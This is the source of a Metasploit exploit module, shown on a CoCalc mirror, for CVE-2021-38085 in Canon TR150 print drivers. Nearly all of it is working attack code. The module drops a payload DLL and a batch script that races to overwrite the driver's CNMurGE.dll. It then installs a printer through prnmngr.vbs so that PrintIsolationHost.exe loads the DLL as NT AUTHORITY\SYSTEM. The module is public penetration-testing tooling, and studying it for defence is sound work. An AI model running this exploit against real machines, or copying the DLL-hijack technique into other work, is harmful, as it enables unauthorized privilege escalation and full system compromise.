CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/canon_driver_privesc.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = NormalRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::EXE
11
include Msf::Post::Windows::Priv
12
include Msf::Exploit::FileDropper
13
prepend Msf::Exploit::Remote::AutoCheck
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Canon Driver Privilege Escalation',
20
'Description' => %q{
21
Canon TR150 print drivers versions 3.71.2.10 and below allow local users to read/write files
22
within the "CanonBJ" directory and its subdirectories. By overwriting the DLL at
23
C:\ProgramData\CanonBJ\IJPrinter\CNMWINDOWS\Canon TR150 series\LanguageModules\040C\CNMurGE.dll
24
with a malicious DLL at the right time whilst running the C:\Windows\System32\Printing_Admin_Scripts\en-US\prnmngr.vbs
25
script to install a new printer, a timing issue can be exploited to cause the PrintIsolationHost.exe program,
26
which runs as NT AUTHORITY\SYSTEM, to successfully load the malicious DLL. Successful exploitation
27
will grant attackers code execution as the NT AUTHORITY\SYSTEM user.
28
29
This module leverages the prnmngr.vbs script
30
to add and delete printers. Multiple runs of this
31
module may be required given successful exploitation
32
is time-sensitive.
33
},
34
'License' => MSF_LICENSE,
35
'Author' => [
36
'Jacob Baines', # discovery, PoC, module
37
'Shelby Pace' # original Ricoh module
38
],
39
'References' => [
40
['CVE', '2021-38085'],
41
],
42
'Arch' => [ ARCH_X86, ARCH_X64 ],
43
'Platform' => 'win',
44
'SessionTypes' => [ 'meterpreter' ],
45
'Targets' => [
46
[
47
'Windows', { 'Arch' => [ ARCH_X86, ARCH_X64 ] }
48
]
49
],
50
'Notes' => {
51
'SideEffects' => [ ARTIFACTS_ON_DISK ],
52
'Reliability' => [ UNRELIABLE_SESSION ],
53
'Stability' => [ SERVICE_RESOURCE_LOSS ]
54
},
55
'DisclosureDate' => '2021-08-07',
56
'DefaultTarget' => 0,
57
'Compat' => {
58
'Meterpreter' => {
59
'Commands' => %w[
60
stdapi_sys_process_execute
61
]
62
}
63
}
64
)
65
)
66
67
self.needs_cleanup = true
68
end
69
70
def check
71
@driver_path = ''
72
dir_name = 'C:\\ProgramData\\CanonBJ\\IJPrinter\\CNMWINDOWS\\Canon TR150 series'
73
74
return CheckCode::Safe('No Canon TR150 driver directory found') unless directory?(dir_name)
75
76
language_dirs = dir(dir_name)
77
78
return CheckCode::Detected("Detected Canon driver directory, but no language files. Its likely the driver is installed but a printer hasn't been added yet") unless language_dirs.length
79
80
@driver_path = dir_name
81
@driver_path.concat('\\LanguageModules\\040C')
82
res = cmd_exec("icacls \"#{@driver_path}\"")
83
vulnerable = res.match(/\\Users:(?:\(I\))?\(OI\)\(CI\)\(F\)/)
84
85
return CheckCode::Safe("#{@driver_path} directory does not exist or does not grant Users full permissions") unless vulnerable
86
87
vprint_status("Vulnerable language driver directory: #{@driver_path}")
88
CheckCode::Appears('Canon language driver directory grants Users full permissions')
89
end
90
91
def add_printer(driver_name)
92
fail_with(Failure::NotFound, 'Printer driver script not found') unless file?(@script_path)
93
94
dll_data = generate_payload_dll
95
dll_path = "#{@driver_path}\\CNMurGE.dll"
96
97
temp_path = expand_path('%TEMP%\\CNMurGE.dll')
98
99
bat_file_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(5..9)}.bat")
100
cp_cmd = "copy /y \"#{temp_path}\" \"#{dll_path}\""
101
102
# this script monitors the target dll for modification and then copies
103
# over our malicious dll. As this is a time based attack, it won't
104
# always be succuessful!
105
bat_file = <<~HEREDOC
106
attrib -a "#{dll_path}"
107
:repeat
108
for %%i in ("#{dll_path}") do echo %%~ai | find "a" >nul || goto :repeat
109
timeout /t 1
110
#{cp_cmd}
111
attrib -a "#{dll_path}"
112
HEREDOC
113
114
print_status("Dropping batch script to #{bat_file_path}")
115
write_file(bat_file_path, bat_file)
116
117
print_status("Writing DLL file to #{temp_path}")
118
write_file(temp_path, dll_data)
119
register_files_for_cleanup(bat_file_path, temp_path)
120
121
script_cmd = "cscript \"#{@script_path}\" -a -p \"#{@printer_name}\" -m \"#{driver_name}\" -r \"lpt1:\""
122
bat_cmd = "cmd.exe /c \"#{bat_file_path}\""
123
vprint_status('Executing the batch script...')
124
client.sys.process.execute(bat_cmd, nil, { 'Hidden' => true })
125
126
print_status("Adding printer #{@printer_name}...")
127
cmd_exec(script_cmd)
128
rescue Rex::Post::Meterpreter::RequestError => e
129
fail_with(Failure::Unknown, "#{e.class} #{e.message}")
130
end
131
132
def exploit
133
fail_with(Failure::None, 'Already running as SYSTEM') if is_system?
134
135
fail_with(Failure::None, 'Must have a Meterpreter session to run this module') unless session.type == 'meterpreter'
136
137
if sysinfo['Architecture'] != payload.arch.first
138
fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target machine')
139
end
140
141
@printer_name = Rex::Text.rand_text_alpha(5..9)
142
@script_path = 'C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs'
143
drvr_name = 'Canon TR150 series'
144
145
add_printer(drvr_name)
146
end
147
148
def cleanup
149
print_status("Deleting printer #{@printer_name}")
150
sleep(3)
151
delete_cmd = "cscript \"#{@script_path}\" -d -p \"#{@printer_name}\""
152
client.sys.process.execute(delete_cmd, nil, { 'Hidden' => true })
153
end
154
end
155
156